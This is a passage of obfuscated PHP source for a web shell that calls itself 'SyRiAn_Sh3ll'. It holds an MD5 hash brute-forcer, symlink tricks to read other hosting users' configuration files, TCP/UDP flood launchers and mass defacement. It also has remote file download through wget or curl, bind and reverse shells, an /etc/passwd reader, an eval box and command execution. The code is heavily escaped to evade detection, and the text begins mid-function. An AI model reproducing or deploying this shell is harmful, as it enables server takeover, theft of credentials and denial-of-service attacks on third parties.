$iilIio0Oi011IilO++) { $iOoI1oOi0o0OlI0O[15] = $chars{$iilIio0Oi011IilO}; if ($next <= 15) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($il1Iloo01loOIiol = 0; $il1Iloo01loOIiol <= $c; $il1Iloo01loOIiol++) { $iOoI1oOi0o0OlI0O[16] = $chars{$il1Iloo01loOIiol}; if ($next <= 16) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($i1loio0OlloiIlOl = 0; $i1loio0OlloiIlOl <= $c; $i1loio0OlloiIlOl++) { $iOoI1oOi0o0OlI0O[17] = $chars{$i1loio0OlloiIlOl}; if ($next <= 17) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($iiOi1O00i11oIlOO = 0; $iiOi1O00i11oIlOO <= $c; $iiOi1O00i11oIlOO++) { $iOoI1oOi0o0OlI0O[18] = $chars{$iiOi1O00i11oIlOO}; if ($next <= 18) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($i0oil0o0l111IloO = 0; $i0oil0o0l111IloO <= $c; $i0oil0o0l111IloO++) { $iOoI1oOi0o0OlI0O[19] = $chars{$i0oil0o0l111IloO}; +if ($next <= 19) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($ilil1001o0o1IO0I = 0; $ilil1001o0o1IO0I <= $c; $ilil1001o0o1IO0I++) { $iOoI1oOi0o0OlI0O[20] = $chars{$ilil1001o0o1IO0I}; if ($next <= 20) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($iiO11O010oioIIo1 = 0; $iiO11O010oioIIo1 <= $c; $iiO11O010oioIIo1++) { $iOoI1oOi0o0OlI0O[21] = $chars{$iiO11O010oioIIo1}; if ($next <= 21) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($iooilo0100llIO1l = 0; $iooilo0100llIO1l <= $c; $iooilo0100llIO1l++) { $iOoI1oOi0o0OlI0O[22] = $chars{$iooilo0100llIO1l}; if ($next <= 22) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($i1l01Oo1o1o0II10 = 0; $i1l01Oo1o1o0II10 <= $c; $i1l01Oo1o1o0II10++) { $iOoI1oOi0o0OlI0O[23] = $chars{$i1l01Oo1o1o0II10}; if ($next <= 23) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($i00lloOioiOlIIOI = 0; $i00lloOioiOlIIOI <= $c; $i00lloOioiOlIIOI++) { $iOoI1oOi0o0OlI0O[24] = $chars{$i00lloOioiOlIIOI}; if ($next <= 24) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($i10lioO1oii0IoIl = 0; $i10lioO1oii0IoIl <= $c; $i10lioO1oii0IoIl++) { $iOoI1oOi0o0OlI0O[25] = $chars{$i10lioO1oii0IoIl}; if ($next <= 25) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($iiiO1oOiO111IiOl = 0; $iiiO1oOiO111IiOl <= $c; $iiiO1oOiO111IiOl++) { $iOoI1oOi0o0OlI0O[26] = $chars{$iiiO1oOiO111IiOl}; if ($next <= 26) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($i1ioi0Olloo0I0o1 = 0; $i1ioi0Olloo0I0o1 <= $c; $i1ioi0Olloo0I0o1++) { $iOoI1oOi0o0OlI0O[27] = $chars{$i1ioi0Olloo0I0o1}; if ($next <= 27) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($i00o1O0il0OlIo11 = 0; $i00o1O0il0OlIo11 <= $c; $i00o1O0il0OlIo11++) { $iOoI1oOi0o0OlI0O[28] = $chars{$i00o1O0il0OlIo11}; if ($next <= 28) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($i10110011oloIllO = 0; $i10110011oloIllO <= $c; $i10110011oloIllO++) { $iOoI1oOi0o0OlI0O[29] = $chars{$i10110011oloIllO}; if ($next <= 29) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($i01ll0Oil1OoIlIo = 0; $i01ll0Oil1OoIlIo <= $c; $i01ll0Oil1OoIlIo++) { $iOoI1oOi0o0OlI0O[30] = $chars{$i01ll0Oil1OoIlIo}; if ($next <= 30) { result(implode($iOoI1oOi0o0OlI0O)); }else { for ($i1o01o0lliOiII0i = 0; $i1o01o0lliOiII0i <= $c; $i1o01o0lliOiII0i++) { $iOoI1oOi0o0OlI0O[31] = $chars{$i1o01o0lliOiII0i}; if ($next <= 31) { result(implode($iOoI1oOi0o0OlI0O)); }}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} function result($iOoI1oOi0o0OlI0O) { global $dat, $date; $hash = $_POST['pass']; $iIiOiooolo0IlO1i = date("\110:i:s"); $illo1ooO1o1I0OOi = date("d:\x6d:\x59"); if(md5($iOoI1oOi0o0OlI0O)==$hash) { echo "[+] \103\162a\x63\x6b\145\144 !! +P\141ss\x77\x6fr\144 i\x73: $iOoI1oOi0o0OlI0O"; exit; } } if(!$_POST['pass']){echo "\x59o\165 Fo\x72\147\157\164 S\157m\x65\x74\x68i\156\147 \x49m\160o\x72\x74\141n\164 !! .. Li\x6be \110a\x73\150 : ) .";} else { $pass=htmlspecialchars($pass); $pass=stripslashes($pass); $dat=date("H:i:s"); $date=date("d:m:Y"); i0i11l11O1I0IOIi(); } } + + +elseif($_POST['AutoHackNow']) { chdir($_POST['autoHackDir']); if(file_exists('AutoHackConfig.txt')) { DeleteFile('AutoHackConfig.txt'); } $domainToHack = $_POST['domainToHack']; $domainToHack = str_replace("ht\x74\160://","",$domainToHack); $domainToHack = str_replace("\x77\x77\167","",$domainToHack); $ScriptType = $_POST['ScriptType']; $index = $_POST['index']; $scriptPath = $_POST['scriptPath']; $iioIiOli00iI0Ilo = iIll1ll1iOoIoloo($domainToHack); $iooillOl10IIiloI = iilI11l1o01IilIo($ScriptType); if(function_exists('symlink')) {symlink("/\x68o\x6d\x65/$iioIiOli00iI0Ilo/\160\x75bli\143_html$scriptPath$iooillOl10IIiloI",'AutoHackConfig.txt');} else{Exe("\154n -s /\150\x6f\x6d\145/$iioIiOli00iI0Ilo/\160u\142\x6c\x69\x63_h\x74m\x6c$scriptPath$iooillOl10IIiloI A\x75t\x6f\x48a\x63k\x43\157\156\x66\x69g.\x74\170\164"); } $file = file_get_contents('AutoHackConfig.txt' ,null , null , true); iii0li0iIOii1III('FileToInclude.txt',$file); iI11i0Il0iO0iooi('FileToInclude.txt',0644); include_once('FileToInclude.txt'); i01IiIiilloIOIOO(); } + + +elseif($_POST['StartAttack']) { $url = $_POST['ipToAttack']; set_time_limit(0); echo "[+] \x73t\x61\x72\164\x69\156g o\x6e $url\n"; if($_POST['DDOSType'] == 'tcp'){i1lOlOi0I01ooOoo($url);} else if($_POST['DDOSType'] == 'udp'){iOIilO1iIolIl11l($url);} } + + +if($_POST['changeDirectory']) { $directory = $_POST['directory']; $directory = str_replace("\\\\"," ",$directory); $directory = str_replace(" ","\\",$directory); chdir($directory); } + + +elseif ($_POST['massDefaceNow']) { $ioIOlo1li1o0IoOI = io0li01lioliIl1i($_POST['massDir'],$_POST['massFileName'],$_POST['massIndex']); if($ioIOlo1li1o0IoOI == 'notfound'){echo 'Directory Not Found !!';} else if ($ioIOlo1li1o0IoOI == 'notperm'){echo 'Permission Denied !!';} } + + +else if($_POST['doAction'] && ($_POST['someAction'] == 'DOSServer1')) {cx();} else if($_POST['doAction'] && ($_POST['someAction'] == 'DOSServer2')) {ilOi1ollol1Il0Oi();} + + +if($_POST['getFile']) { $fileUrl = $_POST['fileUrl']; $getType = $_POST['getType']; if($getType == 'auto'){iloOl1lloloI1loI($fileUrl);} else{Exe("'".$getType." ".$fileUrl."'");} } +echo "</t\145\170t\141\x72\x65\141>"; if($_POST['editFileSubmit'] && ($_POST['actionType'] == 'edit')) { echo " +<input type='h\x69\x64\144e\x6e' name='currentPath' value=".getcwd()." /> +<input type='h\x69\144\144\x65\156' value='".$_POST['editFile']."' name='\146i\154\145\062e\144\151\164' /> +<input type='submit' value='\x53a\x76\x65' name='\x73\x61v\x65\105\x64ited\106\x69\154\x65' size='50'> +"; } echo "</\x66o\x72\x6d> +<!-- \x4d\x61i\x6e Tabl\x65 --> +<tab\x6c\145 w\151\144\164\x68='100%'><t\x72> +<\164\144 \x77\151\144\x74\150='30%' \x68\x65\x69\147\x68t='30'> +<!-- E\x6ed O\146 \115a\151\156 \x54\x61\142\154e --> +<!-- \103om\x6dan\144\163 \x41\x6ci\x61s--> +<\x66or\x6d method='\120\x4f\x53T'><\x74\141\x62\x6ce \x77\151d\x74\x68='100%' \x68\x65i\x67\x68t='72' b\x6fr\x64\145r='0' \x69\144='\x42\x6fx'><t\162> +<\x74d \x77i\144\164\x68='4%' \150\x65i\x67\150t='21' \163\164y\154e='\142\141c\x6bg\x72\x6f\x75\x6ed-col\x6f\x72:".$iIi1i11l11OoIlIl."'>&\156bs\x70;</\164\x64> +<\164\x64 \163\x74y\154e='\142ack\x67r\157un\x64-co\154\x6fr:#666;\x70\x61dd\151\156\x67-\x6c\145ft:10\160x;'>Comm\141nds Ali\141s </\x74\x64></\x74\162><\x74\162><\164d \x68\x65\151\147\150\x74='45' \143\157l\163\160a\x6e='2'>";i0IilOl1iIl0llOi($os); echo "<input name='\x73\x75\x62\x6d\x69\164Co\x6d\x6d\141\156\144\x73' type='submit' value='\x45\x78e\143ute\x43\x6f\x6d\155\141\156d'></\x74\144></t\x72></t\x61\x62l\145></f\x6fr\155> +<!-- \105\156d \x4f\146 \103\157m\x6d\x61\x6e\x64s \101l\151\x61\163--> +</td> +<\164\x64 \167\151\144\x74\x68='30%' \150e\151g\150t='30'> +<!-- \103\157m\x6da\x6e\x64 \x4c\x69\156\x65 --> +<\146\157r\x6d method='\120\x4f\123T'> +<t\x61b\154\145 w\x69\x64t\150='100%' \150eig\x68t='72' \x62orde\162='0' \x69d='\x42\157x'><\164\x72> +<\x74\x64 wid\x74h='4%' \150\145igh\x74='21' \163\x74\171\154\145='\x62a\x63\153g\162o\x75nd-col\x6f\162:".$iIi1i11l11OoIlIl."'>&\156b\x73p;</\x74\144> +<\x74\x64 s\164y\154\x65='b\x61\143k\x67\162o\165nd-co\154or:#666;p\141\144d\151n\147-\x6c\145\146t:10\160\x78;'>\x43\157\x6d\155a\156\x64 \114\x69\156\145 </\x74d></\164\162><\x74\x72><\164d \x68\145\151\147ht='45' \143o\154\163p\141\156='2'> +<input type='text' name='cmd' \x69\144='\x63\x6f\x6d\x6d\x61\156\144L\151\x6e\x65' value='"; if($os == 'Windows') echo "d\x69\162"; else echo 'ls -lia'; echo "' size='59'> +<input type='text' name='directory' value='".getcwd()."' size='59'> +<input name='\x45x\145cu\x74\145' i\x64='\x45\170\145c\x75\164\145' type='submit' value='\x45xe\x63ut\x65' > +<input name='\x68e\154p\103\157m\x6da\x6e\x64\x73' i\x64='\150\x65\154\x70C\157\155m\x61n\144s' type='submit' value='?' > +</\x74\x64></\x74\162></t\x61ble></fo\162m> +<!-- \105\x6ed \x4f\146 \103omm\141nd Li\156\145 --> +</\x74d> +<\164\144 w\151d\164\x68='30%' h\145\151\147h\164=30> +<!-- \106\x69l\145\x73 & \106older\163 \110\x61n\x64\x6cing --> +<\x66o\x72\x6d method='P\x4f\x53\124'> +<t\141\142l\145 \x77\x69\x64\x74h='100%' \x68\145\151\x67\x68t='72' b\157r\x64\x65\162='0' \151\x64='B\157x'><t\x72> +<t\x64 \x77\x69\x64\x74\150='4%' \150\x65\x69\147\150\x74='21' \163\x74\x79\x6c\145='\x62\x61\x63k\x67\x72\x6f\x75\156\x64-co\x6co\162:".$iIi1i11l11OoIlIl."'>&\x6e\142\x73p;</\164d> +<t\x64 \163\164\171\154\x65='ba\x63\x6b\147\162\157\x75\156\x64-\x63o\154or:#666;\160\141dd\x69\156g-\x6ceft:10px;'>\106i\154\x65\x73 & F\157\x6c\x64\145rs H\141\156d\154\151\156g </\164\144></t\162><\164\162><t\144 heigh\x74='45' \x63\157\x6c\x73\x70\141n='2'> +<input type='text' name='\x65\144\151\164\106\x69l\145' i\x64='e\x64\x69tFi\154e' size='25' value='index.\164\x78\164'> +<s\x65l\x65\143\164 name='ac\164i\x6fn\124ype' \x69\x64='\141\143\164i\x6f\x6e\x54\171p\145' o\156\143\x68\x61\156\147\x65='C\150\141\x6e\x67\145\x49\x6e\160\165ts();'> +<option value='\x65\x64i\164'>\x45\144it</option> +<option value='\x72en\x61m\145'>\x52\x65n\141\155\145</option> +<option value='co\160\x79'>C\x6f\x70y</option> +<option value='deleteFolder'>De\x6c\x65\164e \106old\x65\x72</option> +<option value='\144\145l\x65t\145Fi\154e'>\104\x65\x6c\x65\x74\145 F\151\x6ce</option> +<option value='\143\x72\x65at\145Fi\154\145'>\103\162ea\x74e F\x69l\x65</option> +<option value='cr\x65at\145\x46\157l\144er'>\103re\141\164e \x46\157l\x64\x65\162</option> +<option value='zip'>\132\x69p</option> +<option value='un\x7aip'>UnZip</option> +<option value='\x74\141r'>\x54a\x72</option> +<option value='un\x74ar'>\125\x6eTa\162</option> +<option value='g\172'>\x47\x5a</option> +<option value='u\156\x67\172'>u\156\x47\x5a</option> + +</\163\145\154\145ct> +<input type='hid\144\145\156' name='currentPath' value='".getcwd()."' /> +<input name='e\144\151t\106\x69\x6c\x65Su\142mit' type='submit' value='\104\x6f'> +<\144i\166 i\x64='newN\141\x6de'>&n\142s\160;</di\x76> +</t\144></\164\x72></ta\142\x6ce></\x66o\162m> +<!-- \106\151les & \106\157l\x64\x65r\163 \110\141\156\144\x6c\x69\x6e\147 --> +</t\x64> +</\164\162> +<\164r> +<\164\144 \167i\x64t\x68='30%'> +<!-- \x43hm\157\144 \x46\x6fr\x63e --> +<\x66o\x72\155 method='\x50O\x53\124'><\164ab\154\x65 \x77\151d\x74h='100%' \150\145\151g\150\x74='72' b\157\x72de\x72='0' \x69\x64='\102\157\x78'><\x74\162> +<\x74\x64 \x77\x69\144\x74\150='4%' \150\145\x69\147h\x74='21' s\164\x79l\x65='ba\x63\x6b\x67\x72\157\x75\x6e\x64-\x63\x6f\x6cor:".$iIi1i11l11OoIlIl."'>&\156\x62\x73\160;</\x74\144> +<\164d \163\x74\171le='b\x61ckgro\x75nd-\143\x6f\154\x6f\x72:#666;p\x61\144d\x69n\147-\x6c\x65f\x74:10p\170;'>\x43\x68\141\156\x67e \115\x6f\x64e </\x74\x64></\x74\162><\x74\162><\x74\x64 h\145\x69\147\150t='45' c\157\154s\160an='2'> +<input type='text' name='\x66\x69\154\x65Na\x6d\145' value='index.\160\x68\160' size='48'> +<input type='text' name='per' value='0644' size='10'> +<input type='submit' value='C\150\x61n\x67e \x4e\157\167 !' name='\143\x68\141\156\x67\145\x50\x65\162\155i\163s\151\x6f\156'> +</\164\x64></\x74\x72></ta\x62\154\145></f\157\162\x6d> +<!-- \x45nd O\x66 \103\x68\x6d\x6fd \x46\157\162c\145 --> +</\164\144> +<td> +<!-- \107\145t \x46\151\154\145 --> +<f\x6f\x72m method='\120\117\x53\124'><t\141\142le \x77i\144\164\150='100%' he\151\147h\x74='72' \142o\162de\x72='0' \x69\x64='\102\157\x78'><\x74\162> +<\x74\144 \x77i\144th='4%' h\x65\151g\x68t='21' \x73t\x79le='\142\x61\x63\x6b\147\162\x6fu\x6ed-\143\x6fl\x6f\162:".$iIi1i11l11OoIlIl."'>&\156\x62\x73\160;</\164d> +<t\x64 \163t\171\154e='\142\x61c\x6b\x67r\x6f\165n\144-\x63\157\154or:#666;\160\x61\x64\144ing-l\x65\146\x74:10\x70\x78;'>\x47\145\x74 \106\151l\x65 </t\x64></t\162><\164\x72><\164d \x68\x65i\x67h\164='45' \x63\x6fl\163\160a\x6e='2'> +<input type='text' name='fileUrl' size='59' value='h\164\x74\x70://\x77ww.'> +<\x73\x65\154\x65\143t name='getType'> +<option value='a\165\x74\x6f'>Au\164\157</option> +<option value='\167\147\145\164'>\x77get</option> +<option value='curl -\157'>curl -\157</option> +<option value='\147\145\x74'>\147et</option> +<option value='\x6cy\156\170 -\163our\x63\145'>\x6cyn\x78 -s\157\165\x72c\x65</option> +</\x73\145\154e\143t> +<input name='\x67e\164\x46\x69le' type='submit' value='\x47\x65t \x46i\x6ce' > +</\164\x64></t\x72></\164\x61bl\x65></f\157rm> +<!-- \x45\156d \x4f\146 \x47\145\x74 \x46\x69\154\x65 --> +</\164\144> +<\x74\144> +<!-- \x42\x69n\x64 \103\x6f\x6e\156\x65\x63\164\x69\x6f\x6e --> +<\146or\155 method='\x50\117\x53T'><t\x61\142\154\145 widt\x68='100%' \150\145\x69gh\x74='72' \x62\x6frder='0' i\144='\102ox'><\x74\162> +<t\x64 \167i\144t\x68='4%' h\x65\151\147\150\x74='21' \x73\x74y\x6c\145='b\141ck\147\162\x6f\x75\156\x64-\x63\x6f\154\x6f\x72:".$iIi1i11l11OoIlIl."'>&\x6e\142\x73p;</\x74\144> +<t\x64 \163\x74y\154e='\142\141c\153\147\162\157u\156d-\x63\x6flor:#666;\x70\x61\144\x64ing-\x6cef\164:10px;'>\102\x69n\144 \x43\157\156n\x65c\x74\151\x6f\x6e </td></\x74r><t\x72><\164\144 \150e\151g\150\164='45' col\x73\x70\x61\156='2'> +<input type='text' name='port' size='10' value='443'> +<\x73e\x6c\145\x63t c\x6cas\163='\151\x6eputz' size='1' name='\165s\145' \x69\x64='b\151n\x64_\163\x65lect' \157n\x63\x68\141n\x67e='v\x69e\167\x50as\163();'> +<option value='p\x68\x70\x31'>\120H\x50[1]</option> +<option value='\x70h\160\x32'>P\x48P[2]</option> +<option value='\x70\x65\x72\1541-l\151\156\165x'>\x50e\162\x6c[1] \114\151\156\x75\170 & \x50\141\x73\163</option> +<option value='\160\145r\1542-li\x6e\165x'>\120\x65\x72\154[2] \114i\156\165\170</option> +<option value='per\x6c\x33-\x77\x69\156'>\x50\145\162\x6c[3] W\x49N</option> +<option value='c\x31-\154\151\156u\x78'>C[1] \114i\x6e\165\170</option> +</\x73\145le\143\x74> +<input \x63\x6c\141\163\163='\151\x6ep\x75\x74z\x62\165t' type='submit' name='\x62\x69\156\144' value='\x42\151\x6e\144' /> +<\x64\151v \x69\x64='v\x69\x65w_b\151\x6ed_p\x61\x73s'>&n\142sp;</\144\151v> +</\x74\144></\x74\x72></\x74\141b\x6c\145></\146orm> +<!-- \x45n\144 \117f Bi\x6e\144 Co\x6e\156\x65\x63\x74\151o\156 --> +</\x74\144> +</\x74r> +<\x74r> +<\x74\x64> +<!-- \103G\111 S\x63\x72ip\x74s --> +<\x66\x6f\x72\x6d method='\x50\x4f\123T'><\164\141b\x6ce \x77\151\144t\150='100%' \x68\145\x69\147\x68\x74='72' \x62\x6f\162der='0' i\144='B\x6fx'><\164r> +<\164d \x77i\144\x74h='4%' \150\x65\x69ght='21' \x73\x74y\x6c\145='\142\141\143k\x67\x72\157\165\156\x64-\x63ol\x6f\162:".$iIi1i11l11OoIlIl."'>&\156\x62\x73p;</t\x64> +<\x74\144 s\x74y\x6c\145='\x62\141\143\153g\162o\x75\x6e\x64-c\157\154\157\162:#666;\x70\x61\144\144\151ng-\154\x65\146t:10\160x;'>C\x47\111 S\x63\162\x69pt\163 </t\x64></\x74\x72><\164\x72><t\144 h\x65\151g\150\x74='45' \x63\x6f\154\163\160\x61n='2'> +<input type='text' value='".getcwd()."' name='c\x67i\160erl\x50\141t\x68' size='35'> +<se\154e\143\x74 name='c\x67\151\124\x79\x70e' > +<option value='\143gi\120e\x72\154' >\103\x47I \120er\154</option> +<option value='cg\x69\120\141\x79\164h\157n' >\103G\x49 P\141\x79\164ho\x6e</option> +<option value='\143\147i\x55\x73\x65\x72s' >\x43\107\111 Users</option> +</se\x6c\145\143\x74> +<input type='submit' name='ge\156\x65\x72\141\x74\x65\x50\x65\154' value='\x47en\x65rat\145'></\x74\144></\x74r></t\x61\142\x6c\x65></\x66\157\x72m> +<!-- \105\x6ed \117f C\107I S\x63\x72\x69\160\164\163 --> +</\x74\x64><\164\144> +<!-- \106o\162\x62\151d\x64\145n --> +<\146\x6f\162\155 method='\120\117\123T'><\x74\x61\x62\x6c\x65 \167i\x64\164\x68='100%' \150\x65\x69\x67\150t='72' \x62\x6f\162\144\x65\x72='0' \151\x64='B\x6f\x78'><\x74\162> +<\164\144 \x77\x69\x64\x74\x68='4%' \150e\151\147ht='21' \163\x74yl\x65='b\141\x63\153gr\157\x75nd-\x63o\x6c\157r:".$iIi1i11l11OoIlIl."'>&\x6eb\x73\x70;</td> +<t\144 \163\164\x79\154e='\x62ac\x6b\x67r\x6fu\156\x64-\x63\157\x6cor:#666;\160\x61\144\144i\156\147-\154\145f\x74:10\x70x;'>\106o\x72\x62i\x64\144\x65\156 </\164d></\x74\x72><\x74\x72><\x74d \150\145\151g\x68t='45' c\x6f\154s\x70a\x6e='2'> +<input type='text' value='".getcwd()."' name='\146\157\x72\142i\144de\156\x50ath' size='70%'/> +<s\145\154e\x63\164 name='403'> +<option value='\104ir\145\143\164\x6fry\x49n\x64\x65\170'>D\x69\162e\x63\x74\x6f\x72\171\x49n\144\145x</option> +<option value='H\x65\141\144\x65\162\116\141m\145'>H\145\141d\145\x72\116a\x6d\x65</option> +<option value='\x54\130\124'>TX\x54</option> +<option value='404'>404</option> +<option value='\122ea\x64\x6de\x4eam\145'>\x52\145\141\144\155\x65N\141\155e</option> +<option value='\x66\157\157\x74er\x4eam\145'>foote\x72\116\141me</option> +</sel\x65\x63\x74> +<input type='submit' value='\107\x65\x6e\145\x72\141t\145' name='g\145\156\x65\162\141t\145F\157\x72bidde\x6e'> +</\x74d></\x74r></\164\x61\x62\154\x65></\x66o\x72m> +<!-- \105\156\144 \117\146 \x46\157rb\x69dd\145\x6e --> +</\x74\x64> +<\164\144> +<!-- \102\141\x63k Co\x6ene\143\164\151on --> +<\146o\162\x6d method='P\x4fST'><t\141\142\154\x65 \167\x69d\x74\150='100%' \150\145\x69\x67ht='72' \x62\157\x72der='0' \x69\x64='\102\x6f\170'><\x74\162> +<t\x64 \167\x69\x64t\x68='4%' \150ei\147ht='21' styl\x65='\142\x61ckg\162o\x75\156\144-c\157\x6c\x6f\162:".$iIi1i11l11OoIlIl."'>&\156\x62\x73\160;</\x74d> +<\x74\144 \163ty\x6c\145='\142\141ckgro\x75\156\x64-co\154\x6f\x72:#666;\160\141\x64\x64\151\x6e\x67-\154\145\146t:10p\x78;'>\102\141\x63\x6b Co\x6e\156e\143\164\151o\x6e </\164\x64></tr><\x74\162><t\144 he\151\147h\x74='45' c\x6f\154\x73p\x61\156='2'> +<input type='text' name='ip' size='26' value='".ill0iiioI0III0I0()."'> +<input type='text' name='\142\141c\153\x70or\x74' size='10' value='443'> +<\x73el\145c\x74 name='\165se' \x69\144='b\x61c\153_se\154\145\143\x74' \157\x6ec\x68a\x6e\147\145='\166\x69\145\x77\x50a\x73s();'> +<option value='\160\150p\061'>\x50\110\120[1]</option> +<option value='\160h\160\062'>\x50HP[2]</option> +<option value='\x70h\160\063-\167\151\x6e'>\x50\x48P[3] \127I\x4e</option> +<option value='\x70\x68\x70\063-l\x69n\165\170'>\120\x48P[3] \x4c\x69\x6eux</option> +<option value='php\064'>\x50\110\x50[4]</option> +<option value='\160\145\162l\x31'>P\x65rl[1]</option> +<option value='\x70\145\162l\062'>\120\145\162l[2] \120\x61\x73\x73</option> +<option value='\160\x65r\154\063-\167\151n'>\x50\145r\x6c[3] \x57\x49\116</option> +<option value='\160\145\162l\x34-l\151n\165\x78'>\120e\162\x6c[4] \114\x69\156\165\170</option> +<option value='\143\x31'>C[1]</option> +</\x73\x65\154\145\x63t> +<d\151\x76 i\144='vi\x65\167_pa\x73\163'>&\156b\x73\160;</\x64\x69\x76> +<input type='submit' name='\142\141c\153con\x6e' value='\103\157nn\x65c\x74'> +</t\144></\164\x72></\164\x61\x62\154\x65></\146o\162m> +<!-- \105\x6ed \117\146 \102\141\143\153 C\157\156n\x65\x63\164i\x6fn --> +</\164\x64> +</\164r> +<\164\x72> +<\x74\x64> +<!-- \x52\x65\141\x64\x69\156g \106\151\x6ces --> +<f\157r\x6d method='\120OS\x54'><\x74\x61\142l\x65 w\151\x64\x74\150='100%' \x68e\x69\147\150\x74='72' b\157r\144\x65\162='0' i\x64='\102\x6f\170'><\x74\x72> +<\x74\x64 wi\144\164h='4%' \150e\151gh\x74='21' s\164\171\x6ce='ba\143\x6b\147r\x6f\x75\156\144-\x63\x6fl\157\x72:".$iIi1i11l11OoIlIl."'>&\156\142\163\160;</\164d> +<\164\144 \163t\171l\x65='\x62\x61\143\153\147r\x6fu\x6e\144-\x63o\154\x6f\162:#666;\160\141d\x64\151\156\147-l\145\x66t:10\160\x78;'>R\145\141\144\151\156\x67 \106ile\x73 & \104i\162 U\163\151\x6e\x67 \x50\110\x50 \102\165\x67\x73 </\x74\x64></\164\162><\x74r><td \x68e\151\147\150t='45' \143\x6f\154span='2'> +<input type='text' value='/\145\164\143/passwd' name='f\151\x6c\x65' size='33'> +<input \x63l\141ss='\142u\x74\164o\156s' type='submit' name='read' value='\122e\x61\x64 \106\x69\x6c\x65'> +<input \x63\154as\163='bu\x74t\157n\163' type='submit' name='sh\x6f\x77' value='\123h\x6f\167 directory'> +</t\144></\164\162></\164a\x62\154\x65></\x66o\x72\x6d> +<!-- \x45\156\x64 \x4f\146 R\x65\x61\x64\151\156g Fil\145\163 --> +</\x74\144> +<\x74\144> +<!-- \x45val \103\157\144\145 --> +<f\x6f\x72\155 method='\x50\x4fST'><\164\x61bl\145 \x77\151\144\164\150='100%' \x68\145i\147\x68t='72' \x62\157\162\x64\145r='0' \x69d='\x42\157\x78'><tr> +<\x74\x64 w\151\x64th='4%' h\x65i\x67ht='21' \x73\164\171le='\142\x61\143kg\162\x6fu\x6e\144-\x63\157l\x6f\x72:".$iIi1i11l11OoIlIl."'>&\156b\163\x70;</\x74d> +<\x74\144 \x73\164y\154e='b\141c\x6b\147r\x6f\x75n\x64-\143\157\x6c\x6f\x72:#666;p\x61d\144\x69\x6e\x67-le\x66t:10p\x78;'>\123\143a\156\x6ee\x72\x73 \101\156d S\x74rin\x67s T\157ols </\x74\x64></t\162><t\x72><\164d h\x65\151\x67h\x74='45' c\157\x6c\x73\x70\141\x6e='2'> +<input type='text' id='\160\x68\160_ev\141l' name='\160hp_\145\x76a\154' size='50' value='<?p\150\160 e\143\x68o \"\123\x79\122\x69An_\123\x68\x33l\154 \1265.6\"; ?>' /> +<\163el\x65\143\164 \151d='\x65\166\x61lO\162\x45\x6e\143' name='ev\141\154\117\x72Enc' o\156\143ha\156\147\145='e\x76\x61\x6c\x4f\162\x45\156\x63\062();'> +<option value='e\x76\141\x6c'>\x45va\x6c \x43o\144\145</option> +<option value='e\x6ec'>\x45\x6e\x63r\x79\160\x74i\157\x6e</option> +<option value='\x61nal\x79\172\145'>A\156\141l\171\172\145</option> +<option value='sc\x61\x6e'>S\x63a\156 Po\x72\x74\x73</option> +<option value='\147\145\x6eSe\162\166'>S\145\x72\166\145\162 \123\x68\x6fr\164c\x75\x74</option> +<option value='\163qlS\x63a\x6e\x6e\x65\x72'>S\121L \x53\x63ann\145\x72</option> +</\x73\x65\154e\x63t> +<input type='submit' name='\x73ub\x6d\x69tEva\154' value='~\x44\157~'></\x74d></tr></\164\x61\142\x6c\x65></\146or\155> +<!-- \105\x6e\144 \117\x66 E\x76\x61l \103o\x64\x65 --> +</\x74\144> +<\164\144> +<!-- \115\145\164a\163\x70\154\x6fi\x74 \x52\x43 --> +<fo\x72m method='\120\117ST'><t\x61\142\x6c\x65 wi\x64\x74\x68='100%' h\x65\x69g\x68\x74='72' \142o\162d\x65\162='0' \151\x64='\102o\x78'><\x74\162> +<t\x64 \167\x69\144t\x68='4%' \x68\145\151\x67\150\x74='21' s\164\171\x6c\145='b\x61\143\x6b\x67\162ound-\x63o\x6c\x6f\x72:".$iIi1i11l11OoIlIl."'>&n\142s\x70;</\164d> +<\x74\144 \163\x74\171le='\142\141\x63kg\x72\157u\x6ed-co\154\x6f\x72:#666;\x70\141\x64d\151ng-\x6c\x65\x66\x74:10\x70x;'>M\145\164\x61\x73p\x6co\151t \103o\156n\x65\143ti\157\156 </\164\144></t\x72><\164\x72><\164\x64 \x68e\x69g\150\164='45' co\x6csp\x61\x6e='2'> +<input type='text' size='40' name='ip' value='127.0.0.1'> +<input type='text' size='5' name='port' value='443'> +<input type='submit' value='\103\x6f\x6en\x65\143\x74' name='\155\x65\x74\x61\x43\x6fn\156ect'> +</t\x64></\164r></ta\142\x6ce></\x66o\x72\x6d> +<!-- E\x6ed \117f Me\x74\141\163\x70loit \122\103 --> +</\x74\x64> +</t\x72> + +<\x74r> +<\x74d> +<!-- D\x44\117\x53 \x41\164t\141\143k\145\162 --> +<\x66\x6frm method='\120\117\x53\x54'><\x74\x61\x62\x6c\x65 \x77\151d\164\150='100%' \x68e\151g\150\164='72' \x62\157rd\x65\x72='0' i\144='\102\x6f\170'><\164\162> +<\164\144 \167i\144\164\150='4%' \x68\x65\151\147\150\164='21' \163\x74\x79\x6ce='b\141c\153\x67r\x6f\x75\x6e\x64-col\x6fr:".$iIi1i11l11OoIlIl."'>&\156\142s\160;</\x74d> +<\x74d s\164\171l\145='b\x61\x63kg\x72\157\165n\x64-\143o\x6c\x6fr:#666;\x70\x61d\x64\151\156g-l\145\x66\164:10px;'>\104\104O\x53 \101\x74ta\143\x6be\162 </td></t\x72><\164r><\x74\x64 h\x65i\x67\x68\x74='45' co\x6c\x73pa\156='2'> +<input type='text' name='\151\160T\157\101\x74t\141\x63\x6b' size='30' value='\150\164\164\160://google.\x63\x6fm/'> +<\x73el\145ct name='DDO\x53\124\x79p\145'> +<option value='\164\143\x70' >\x54\103\120</option> +<option value='u\x64\x70' >UD\x50</option> +</\163el\145c\164> 